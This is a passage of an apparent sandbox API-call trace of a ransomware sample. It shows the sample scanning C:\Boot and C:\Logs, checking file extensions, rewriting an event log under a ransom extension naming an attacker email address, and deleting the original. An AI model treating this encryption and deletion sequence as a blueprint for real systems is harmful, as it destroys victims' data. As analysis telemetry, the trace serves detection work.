lstrlenW (lpString=".jpg") returned 4 [0073.724] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0073.725] lstrcmpiW (lpString1=".LOG2", lpString2=".NEWS") returned -1 [0073.725] lstrlenW (lpString="BCD.LOG2") returned 8 [0073.725] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0073.725] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=0) returned 1 [0073.725] CloseHandle (hObject=0x350) returned 1 [0073.725] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0073.725] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0073.725] lstrlenW (lpString=".doc") returned 4 [0073.725] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0073.725] lstrlenW (lpString=".docx") returned 5 [0073.725] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0073.725] lstrlenW (lpString=".pdf") returned 4 [0073.725] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0073.725] lstrlenW (lpString=".xls") returned 4 [0073.725] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0073.725] lstrlenW (lpString=".xlsx") returned 5 [0073.725] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0073.725] lstrlenW (lpString=".ppt") returned 4 [0073.725] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0073.725] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0073.725] lstrlenW (lpString=".zip") returned 4 [0073.725] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0073.725] lstrlenW (lpString=".rar") returned 4 [0073.725] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0073.725] lstrlenW (lpString=".bz2") returned 4 [0073.726] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0073.726] lstrlenW (lpString=".7z") returned 3 [0073.726] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0073.726] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0073.726] lstrlenW (lpString=".dbf") returned 4 [0073.726] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0073.726] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0073.726] lstrlenW (lpString=".1cd") returned 4 [0073.726] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0073.726] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0073.726] lstrlenW (lpString=".jpg") returned 4 [0073.726] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0073.726] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0073.726] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0073.726] lstrlenW (lpString=".doc") returned 4 [0073.726] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0073.726] lstrlenW (lpString=".docx") returned 5 [0073.726] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0073.726] lstrlenW (lpString=".pdf") returned 4 [0073.726] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0073.726] lstrlenW (lpString=".xls") returned 4 [0073.726] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0073.726] lstrlenW (lpString=".xlsx") returned 5 [0073.726] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0073.726] lstrlenW (lpString=".ppt") returned 4 [0073.726] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0073.726] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0073.726] lstrlenW (lpString=".zip") returned 4 [0073.726] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0073.726] lstrlenW (lpString=".rar") returned 4 [0073.726] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0073.726] lstrlenW (lpString=".bz2") returned 4 [0073.726] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0073.726] lstrlenW (lpString=".7z") returned 3 [0073.726] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0073.727] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0073.727] lstrlenW (lpString=".dbf") returned 4 [0073.727] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0073.727] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0073.727] lstrlenW (lpString=".1cd") returned 4 [0073.727] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0073.727] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0073.727] lstrlenW (lpString=".jpg") returned 4 [0073.727] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0073.727] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0073.727] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0073.727] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0073.727] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=77664) returned 1 [0073.727] CloseHandle (hObject=0x350) returned 1 [0073.727] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0073.728] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0073.728] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0073.728] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0073.728] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0073.728] lstrlenW (lpString=".doc") returned 4 [0073.728] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0073.728] lstrlenW (lpString=".docx") returned 5 [0073.728] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0073.728] lstrlenW (lpString=".pdf") returned 4 [0073.728] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0073.728] lstrlenW (lpString=".xls") returned 4 [0073.728] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0073.728] lstrlenW (lpString=".xlsx") returned 5 [0073.728] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0073.728] lstrlenW (lpString=".ppt") returned 4 [0073.728] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0073.728] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0073.728] lstrlenW (lpString=".zip") returned 4 [0073.728] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0073.728] lstrlenW (lpString=".rar") returned 4 [0073.728] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0073.728] lstrlenW (lpString=".bz2") returned 4 [0073.728] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0073.728] lstrlenW (lpString=".7z") returned 3 [0073.728] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0073.728] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0073.728] lstrlenW (lpString=".dbf") returned 4 [0073.728] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0073.728] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0073.728] lstrlenW (lpString=".1cd") returned 4 [0073.728] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0073.729] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0073.729] lstrlenW (lpString=".jpg") returned 4 [0073.729] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0073.729] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0073.729] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0073.729] lstrlenW (lpString=".doc") returned 4 [0073.729] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0073.729] lstrlenW (lpString=".docx") returned 5 [0073.729] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0073.729] lstrlenW (lpString=".pdf") returned 4 [0073.729] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0073.729] lstrlenW (lpString=".xls") returned 4 [0073.729] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0073.729] lstrlenW (lpString=".xlsx") returned 5 [0073.729] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0073.729] lstrlenW (lpString=".ppt") returned 4 [0073.729] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0073.729] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0073.729] lstrlenW (lpString=".zip") returned 4 [0073.729] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0073.729] lstrlenW (lpString=".rar") returned 4 [0073.729] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0073.729] lstrlenW (lpString=".bz2") returned 4 [0073.729] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0073.729] lstrlenW (lpString=".7z") returned 3 [0073.729] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0073.729] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0073.729] lstrlenW (lpString=".dbf") returned 4 [0073.729] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0073.729] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0073.729] lstrlenW (lpString=".1cd") returned 4 [0073.729] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0073.729] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0073.729] lstrlenW (lpString=".jpg") returned 4 [0073.729] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0073.730] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0073.730] lstrlenW (lpString="bootspaces.dll") returned 14 [0073.730] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0073.730] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=95648) returned 1 [0073.730] CloseHandle (hObject=0x350) returned 1 [0073.730] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0073.730] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0073.731] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0073.731] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0073.731] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0073.731] lstrlenW (lpString=".doc") returned 4 [0073.731] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0073.731] lstrlenW (lpString=".docx") returned 5 [0073.731] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0073.731] lstrlenW (lpString=".pdf") returned 4 [0073.731] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0073.731] lstrlenW (lpString=".xls") returned 4 [0073.731] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0073.731] lstrlenW (lpString=".xlsx") returned 5 [0073.731] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0073.731] lstrlenW (lpString=".ppt") returned 4 [0073.731] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0073.731] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0073.731] lstrlenW (lpString=".zip") returned 4 [0073.731] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0073.731] lstrlenW (lpString=".rar") returned 4 [0073.731] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0073.731] lstrlenW (lpString=".bz2") returned 4 [0073.731] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0073.731] lstrlenW (lpString=".7z") returned 3 [0073.731] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0073.731] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0073.731] lstrlenW (lpString=".dbf") returned 4 [0073.731] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0073.731] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0073.731] lstrlenW (lpString=".1cd") returned 4 [0073.731] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0073.731] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0073.731] lstrlenW (lpString=".jpg") returned 4 [0073.732] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0073.732] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0073.732] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0073.732] lstrlenW (lpString=".doc") returned 4 [0073.732] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0073.732] lstrlenW (lpString=".docx") returned 5 [0073.732] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0073.732] lstrlenW (lpString=".pdf") returned 4 [0073.732] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0073.732] lstrlenW (lpString=".xls") returned 4 [0073.732] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0073.732] lstrlenW (lpString=".xlsx") returned 5 [0073.732] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0073.732] lstrlenW (lpString=".ppt") returned 4 [0073.732] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0073.732] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0073.732] lstrlenW (lpString=".zip") returned 4 [0073.732] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0073.732] lstrlenW (lpString=".rar") returned 4 [0073.732] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0073.732] lstrlenW (lpString=".bz2") returned 4 [0073.732] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0073.732] lstrlenW (lpString=".7z") returned 3 [0073.732] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0073.732] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0073.732] lstrlenW (lpString=".dbf") returned 4 [0073.732] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0073.732] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0073.732] lstrlenW (lpString=".1cd") returned 4 [0073.732] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0073.732] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0073.732] lstrlenW (lpString=".jpg") returned 4 [0073.732] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0073.733] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0073.733] lstrlenW (lpString="bootvhd.dll") returned 11 [0073.733] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0073.733] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=99744) returned 1 [0073.733] CloseHandle (hObject=0x350) returned 1 [0073.733] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0073.733] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0073.733] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0073.733] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0073.733] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0073.733] lstrlenW (lpString=".doc") returned 4 [0073.733] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0073.733] lstrlenW (lpString=".docx") returned 5 [0073.733] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0073.733] lstrlenW (lpString=".pdf") returned 4 [0073.733] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0073.733] lstrlenW (lpString=".xls") returned 4 [0073.733] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0073.733] lstrlenW (lpString=".xlsx") returned 5 [0073.733] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0073.733] lstrlenW (lpString=".ppt") returned 4 [0073.733] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0073.733] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0073.734] lstrlenW (lpString=".zip") returned 4 [0073.734] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0073.734] lstrlenW (lpString=".rar") returned 4 [0073.734] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0073.734] lstrlenW (lpString=".bz2") returned 4 [0073.734] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0073.734] lstrlenW (lpString=".7z") returned 3 [0073.734] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0073.734] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0073.734] lstrlenW (lpString=".dbf") returned 4 [0073.734] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0073.740] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0073.743] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0073.746] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0073.747] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0074.126] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.126] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.126] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\hardwareevents.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0074.127] GetLastError () returned 0x0 [0074.127] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0074.129] WriteFile (in: hFile=0x37c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0074.131] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.131] WriteFile (in: hFile=0x37c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xfa, lpOverlapped=0x0) returned 1 [0074.131] SetEndOfFile (hFile=0x37c) returned 1 [0074.132] CloseHandle (hObject=0x37c) returned 1 [0074.134] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.134] SetEndOfFile (hFile=0x378) returned 1 [0074.135] CloseHandle (hObject=0x378) returned 1 [0074.135] SetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0074.136] DeleteFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 1 [0074.136] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0074.136] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0074.136] lstrlenW (lpString=".doc") returned 4 [0074.136] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0074.136] lstrlenW (lpString=".docx") returned 5 [0074.136] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0074.136] lstrlenW (lpString=".pdf") returned 4 [0074.136] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0074.136] lstrlenW (lpString=".xls") returned 4 [0074.136] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0074.136] lstrlenW (lpString=".xlsx") returned 5 [0074.136] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0074.136] lstrlenW (lpString=".ppt") returned 4 [0074.136] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0074.136] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0074.136] lstrlenW (lpString=".zip") returned 4 [0074.136] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0074.136] lstrlenW (lpString=".rar") returned 4 [0074.136] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0074.136] lstrlenW (lpString=".bz2") returned 4 [0074.136] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0074.137] lstrlenW (lpString=".7z") returned 3 [0074.137] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0074.137] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0074.137] lstrlenW (lpString=".dbf") returned 4 [0074.137] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0074.137] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0074.137] lstrlenW (lpString=".1cd") returned 4 [0074.137] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0074.137] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0074.137] lstrlenW (lpString=".jpg") returned 4 [0074.137] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0074.137] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0074.137] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0074.137] lstrlenW (lpString=".doc") returned 4 [0074.137] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0074.137] lstrlenW (lpString=".docx") returned 5 [0074.137] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0074.137] lstrlenW (lpString=".pdf") returned 4 [0074.137] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0074.137] lstrlenW (lpString=".xls") returned 4 [0074.137] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0074.137] lstrlenW (lpString=".xlsx") returned 5 [0074.137] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0074.137] lstrlenW (lpString=".ppt") returned 4 [0074.137] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0074.137] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0074.137] lstrlenW (lpString=".zip") returned 4 [0074.137] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0074.137] lstrlenW (lpString=".rar") returned 4 [0074.137] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0074.137] lstrlenW (lpString=".bz2") returned 4 [0074.137] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0074.137] lstrlenW (lpString=".7z") returned 3 [0074.137] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0074.138] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0074.138] lstrlenW (lpString=".dbf") returned 4 [0074.138] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0074.138] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0074.138] lstrlenW (lpString=".1cd") returned 4 [0074.138] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0074.138] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0074.138] lstrlenW (lpString=".jpg") returned 4 [0074.138] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0074.138] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0074.138] lstrlenW (lpString="Internet Explorer.evtx") returned 22 [0074.138] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0074.138] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=69632) returned 1 [0074.138] CloseHandle (hObject=0x378) returned 1 [0074.138] GetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 0x20 [0074.138] GetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\internet explorer.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0074.138] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: 